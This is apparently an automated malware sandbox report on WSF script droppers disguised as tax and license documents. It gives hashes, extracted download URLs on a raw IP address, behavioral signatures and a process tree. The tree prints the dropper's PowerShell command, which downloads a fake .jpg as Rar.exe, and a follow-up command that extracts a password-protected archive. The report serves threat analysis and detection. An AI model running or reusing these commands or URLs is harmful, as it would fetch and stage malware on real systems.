Overview
overview
10Static
static
12O22-Tax-Returns.wsf
windows7-x64
102O22-Tax-Returns.wsf
windows10-2004-x64
10DRlVERS-LlCENSE.wsf
windows7-x64
10DRlVERS-LlCENSE.wsf
windows10-2004-x64
10PR0FlT&L0SS_2O23.wsf
windows7-x64
10PR0FlT&L0SS_2O23.wsf
windows10-2004-x64
10ScheduIe-K.wsf
windows7-x64
10ScheduIe-K.wsf
windows10-2004-x64
10Analysis
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max time kernel
117s -
max time network
118s -
platform
windows7_x64 -
resource
win7-20231129-en -
resource tags
arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system -
submitted
22/01/2024, 21:29
Static task
static1
Behavioral task
behavioral1
Sample
2O22-Tax-Returns.wsf
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
2O22-Tax-Returns.wsf
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
DRlVERS-LlCENSE.wsf
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
DRlVERS-LlCENSE.wsf
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
PR0FlT&L0SS_2O23.wsf
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
PR0FlT&L0SS_2O23.wsf
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
ScheduIe-K.wsf
Resource
win7-20231129-en
General
-
Target
ScheduIe-K.wsf
-
Size
4KB
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MD5
eafa5d2bdb1f8bca65b208d7e6101e1c
-
SHA1
da7085b340e3b02d94bb4acc92ee9475133b7948
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SHA256
572a90ba88b5424d527785d48667dfd95293469b07ab016970b7253e2bb5d0d0
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SHA512
2114d0dda32e2224c8253a9ec038b6f212a01082bb73222780391e0842a73097c57454f248135671f67662f419bba9c5cbb7721a1eba6790eb59381e7a4bbda8
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SSDEEP
96:021JYd1k2ig3AwYx4wg3CWPqrHekw21JYd1k2ig3AwYx4wg3CWPqrHek4:Np2ioAwYgSWPqTeGp2ioAwYgSWPqTeB
Malware Config
Extracted
http://176.107.185.29:666/Rar.jpg
http://176.107.185.29:666/load.rar
Signatures
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Blocklisted process makes network request 1 IoCs
flow pid Process 3 2316 WScript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 940 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 940 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2316 wrote to memory of 940 2316 WScript.exe 28 PID 2316 wrote to memory of 940 2316 WScript.exe 28 PID 2316 wrote to memory of 940 2316 WScript.exe 28 PID 2316 wrote to memory of 2720 2316 WScript.exe 31 PID 2316 wrote to memory of 2720 2316 WScript.exe 31 PID 2316 wrote to memory of 2720 2316 WScript.exe 31
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ScheduIe-K.wsf"1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2316 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Start-BitsTransfer -Source 'http://176.107.185.29:666/Rar.jpg' -Destination 'C:\Users\Public\Rar.exe'; Start-BitsTransfer -Source 'http://176.107.185.29:666/load.rar' -Destination 'C:\Users\Public\load.rar'"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:940
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c Rar.exe x -p111 load.rar2⤵PID:2720
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